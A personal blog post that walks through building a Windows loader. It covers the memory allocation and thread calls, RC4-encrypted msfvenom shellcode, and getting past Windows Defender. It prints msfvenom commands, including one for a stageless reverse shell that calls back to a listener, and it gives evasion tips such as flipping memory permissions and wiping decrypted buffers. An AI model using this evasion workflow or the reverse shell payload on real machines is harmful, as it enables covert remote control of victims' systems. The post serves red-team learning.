In my last post on malware development studies I mentioned local payload execution. That’ll be the focus of this article. I’ll walk through the win32api calls, how I used them, encryption and obfuscation of my payload, and testing it all on a Windows machine with stock defender.

local payload execution win32api calls (the boys)

virtual alloc

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

VirtualAlloc helps to manage memory allocation (hence the alloc), and returns an LPVOID (Long Void Pointer) to the base address of the allocated region of memory pages. We’ll use this to dictate the size of memory space we need to allocate for our payload.

virtual protect

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

VirtualProtect handles the permissions of the memory space that we allocated using VirtualAlloc. It’s generally a good idea to initialize the memory with read/write, then flip that to execute. Giving full read/write/execute permissions off the bat is a very noisy thing to do. With that being said, I do this very thing in this post. In the beginning phases it’s acceptable and if it bypasses defender then all the better. In an actual engagement with better endpoint protections - don’t do this.

create thread

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

CreateThread will… wait for it… create a thread for our payload to run in.

payload generation/obfuscating

I’ll be working with a simple test calc payload generated by msfvenom and then encrypted with rc4.

msfvenom payload generation

msfvenom -p windows/x64/exec CMD="calc.exe" -f c

The command above generates a C byte array for the payload. I won’t go into detail about how to obfuscate and/or encrypt. Just understand that I encrypted the payload via RC4. Meaning that I will also have to decrypt before execution. That time between decryption and execution is crucial. Even if this calc payload slips past memory scanning, a longer-lasting payload likely won’t — it sits decrypted in memory long enough to overlap with a scan window, and it gives the broader EDR stack more behavior to correlate against.

msfvenom rev shell payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.1.10.11 LPORT=8080 -f raw -o stageless.bin

This command is a stageless reverse shell. I tried a staged payload for meterpreter and got burned that way. While the size of the payload grew by a couple hundred bytes, this was actually successful at bypassing defender as well. The malware worked exactly as it did before - decrypting the payload, allocating memory with execute permissions and then creating a thread. But this time we got a callback to a reverse shell listener with metasploit.

To test this particular payload, I did have to setup a port forward from the Windows host to WSL and I had to be careful to generate the payload with the windows IP and ensure that the port forward was setup properly.

the flow - msfvenom calc payload

With the encrypted calc payload generated and deployed to the victim machine, we can inspect the memory at each step of the execution. Below we can see the decrypted payload in memory:

Debugger view of the decrypted calc shellcode bytes laid out in an allocated memory region

With the payload decrypted, we still need to copy the payload into a section of memory that has execute permissions. Once that’s been done, it’s good practice to clean up the original copy of the payload to have less of a detection surface. In my source code I used memset(pDecryptedPayload, '\0', sDecryptedPayload); to write 0s at the DecryptedPayload’s address with the size of the DecryptedPayload.

Debugger view of the original decrypted payload region after memset, now zeroed out

With executable permissions we can observe the calc.exe payload run. All of this was done without a single detection or alert from Windows Defender. By encrypting our payload we evaded static detection and our method of decrypting the payload, allocating memory in a RW space and flipping permissions to RWX in that same space was good enough to get around Defender (note this method will not always work - see VirtualProtect section above). We bypassed the ’normal’ execution flow and performed actions in an unintended way.

Windows desktop showing calc.exe launched by the loader with Defender still enabled and no alerts

the flow - msfvenom rev shell

I used the same basic method as above but with a stageless reverse shell instead of a calc payload. To my surprise it worked!

Below is a view of the decrypted payload sitting in memory ready to execute.

Debugger view of the decrypted reverse shell shellcode in an allocated memory region

And this is the resulting callback from the victim.

Metasploit handler receiving a reverse shell callback from the Windows victim

post execution/conclusion

Interestingly enough once I exited out of the rev shell on the metasploit side it decided my program was malicious:

Windows Defender threat alert firing only after the metasploit session was closed

Better late than never I suppose. I could also continue to copy the same executable over and over and re-execute without triggering an alert. And to add to the mystery if I ctrl + c out of the running malware terminal I never got flagged. Only an exit (graceful or ungraceful) from metasploit would get the program flagged and nuked into orbit. Initially my theory was that there’s something in the network connection closing with Metasploit that Defender is flagging on. But after figuring out that ungraceful exits from Metasploit also cause the alert to fire, I’m leaning more toward the way that the process closes on the victim side. If I wanted to dig further into the network connection and graceful closing I would use something like wireshark to get a better idea of what’s being sent by the attacking machine to the victim on graceful close. Next post I’ll be digging into process injection - a useful technique to move between various processes on an endpoint for evasion or gathering additional information.